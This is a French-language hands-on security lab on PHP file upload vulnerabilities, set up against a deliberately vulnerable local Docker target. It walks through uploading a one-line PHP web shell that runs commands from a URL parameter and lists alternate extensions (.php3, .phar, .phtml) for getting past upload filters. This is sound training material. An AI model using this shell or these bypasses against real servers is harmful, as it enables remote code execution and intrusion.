Introduction
Ce laboratoire se concentre sur les vulnérabilités liées au téléchargement de fichiers, un problème de sécurité courant dans les applications web. Vous apprendrez à identifier ces vulnérabilités, à comprendre leur impact potentiel et à explorer les méthodes pour les exploiter. Le laboratoire offre une expérience pratique avec des exemples concrets, vous permettant de mieux comprendre les concepts de sécurité des applications web et les mesures de défense.
Comprendre les vulnérabilités de téléchargement de fichiers
Les vulnérabilités liées au téléchargement de fichiers se produisent lorsque les applications web ne parviennent pas à valider correctement les fichiers téléchargés. Cela peut permettre aux attaquants de télécharger des fichiers malveillants, ce qui peut entraîner une exécution de code à distance (remote code execution) sur le serveur.
Examinons une implémentation typique de téléchargement de fichiers en PHP utilisant la fonction move_uploaded_file() :
<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);
Paramètres :
$file: Le fichier téléchargé à déplacer$newloc: Le chemin de destination du fichier
Une implémentation sécurisée doit inclure une validation appropriée, comme illustré dans cet exemple :
<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // Get the file extension
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // Less than 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
Ce code démontre plusieurs contrôles de sécurité importants :
- Validation de l'extension du fichier
- Vérification du type MIME
- Limitation de la taille du fichier
- Gestion des erreurs (error handling)
Sans ces validations, les attaquants pourraient potentiellement télécharger des fichiers malveillants qui s'exécutent sur le serveur.
Identifier le langage côté serveur
Avant d'exploiter une vulnérabilité de téléchargement de fichiers, il est crucial d'identifier le langage côté serveur (server-side language) utilisé par l'application web. Cette information détermine quel type de fichier télécharger pour une exploitation réussie.
Tout d'abord, configurons notre environnement de laboratoire :
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
Après avoir exécuté cette commande, vérifiez que l'environnement est accessible à l'adresse suivante : http://localhost:82
Méthodes pour identifier le langage côté serveur :
Extensions de fichiers dans l'URL :
- Les extensions
.phpindiquent PHP - Les extensions
.aspou.aspxindiquent ASP.NET - Les extensions
.jspindiquent Java Server Pages (JSP)
- Les extensions
En-têtes du serveur (Server Headers) :
- Microsoft IIS exécute généralement ASP.NET
- Apache ou Nginx exécutent couramment PHP
- Apache Tomcat exécute JSP
Vous pouvez utiliser l'extension de navigateur Wappalyzer pour détecter automatiquement le serveur web et le langage de programmation :
Dans notre environnement de laboratoire, vous devriez voir :
Web Server: Apache
Backend Language: PHP
Téléchargement d'un Web Shell
Maintenant que nous avons identifié PHP comme langage côté serveur, nous allons télécharger un web shell PHP pour exécuter des commandes sur le serveur.
Une collection de web shells peut être trouvée ici :
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
- Créez un fichier de test
phpinfo.phpdans le répertoire/home/labex/project:
<?php phpinfo(); ?>
Téléchargez le fichier :
- Visitez http://localhost:82/upload/example1.php
- Sélectionnez et téléchargez votre fichier phpinfo.php
Vérifiez le téléchargement :
- Accédez à http://localhost:82/upload/images/phpinfo.php
- Vous devriez voir la page d'informations de configuration PHP
Créez un shell d'exécution de commandes
shell.php:
<?php echo "Shell"; system($_GET['cmd']); ?>
Téléchargez et testez le shell :
- Téléchargez shell.php en utilisant la même méthode
- Accédez à http://localhost:82/upload/images/shell.php
- Vous pouvez voir un message d'avertissement (attendu sans paramètres)
Exécutez des commandes :
Vérifiez l'utilisateur actuel : http://localhost:82/upload/images/shell.php?cmd=whoami Résultat attendu : www-data
Listez les fichiers et les informations système : http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a Résultat attendu : Liste du répertoire et informations système
Remarque : Ce laboratoire démontre les fonctionnalités de base d'un web shell. Les sujets avancés tels que les reverse shells et l'élévation de privilèges (privilege escalation) sont traités dans des cours plus avancés.
Contourner les restrictions du serveur (facultatif)
Certaines applications web mettent en œuvre des restrictions sur les extensions de fichiers pour empêcher les téléchargements de fichiers malveillants. Cette section explore les méthodes permettant de contourner ces restrictions.
Lorsque les extensions .php sont bloquées, essayez d'autres extensions PHP qui peuvent être exécutables :
Essayez de télécharger avec l'extension
.php3:- Visitez http://localhost:82/upload/example2.php
- Téléchargez phpinfo.php3
- Accédez à http://localhost:82/upload/images/phpinfo.php3
Si cela ne fonctionne pas, essayez l'extension
.phar:- Téléchargez phpinfo.phar
- Accédez à http://localhost:82/upload/images/phpinfo.phar
Extensions de contournement courantes à essayer :
- .php3
- .php4
- .php5
- .phar
- .phtml
Remarque : Le succès dépend de la configuration du serveur. Différents serveurs peuvent autoriser différentes extensions à s'exécuter en tant que code PHP.
Résumé
Ce laboratoire a couvert les aspects essentiels des vulnérabilités de téléchargement de fichiers :
Concepts clés :
- Comprendre les mécanismes de vulnérabilité de téléchargement de fichiers
- Identifier les langages de programmation côté serveur
- Télécharger et exécuter des web shells
- Contourner les restrictions d'extension de fichier
Compétences techniques acquises :
- Détection du langage côté serveur
- Création et déploiement de web shell
- Exécution de commandes via des fichiers téléchargés
- Techniques de contournement d'extension (extension bypass techniques)
Implications en matière de sécurité :
- Impact d'une validation de fichier insuffisante
- Importance de restrictions de téléchargement appropriées
- Risques d'exécution côté serveur
Ces connaissances fondamentales vous préparent aux sujets avancés de sécurité des applications web abordés dans les cours suivants.



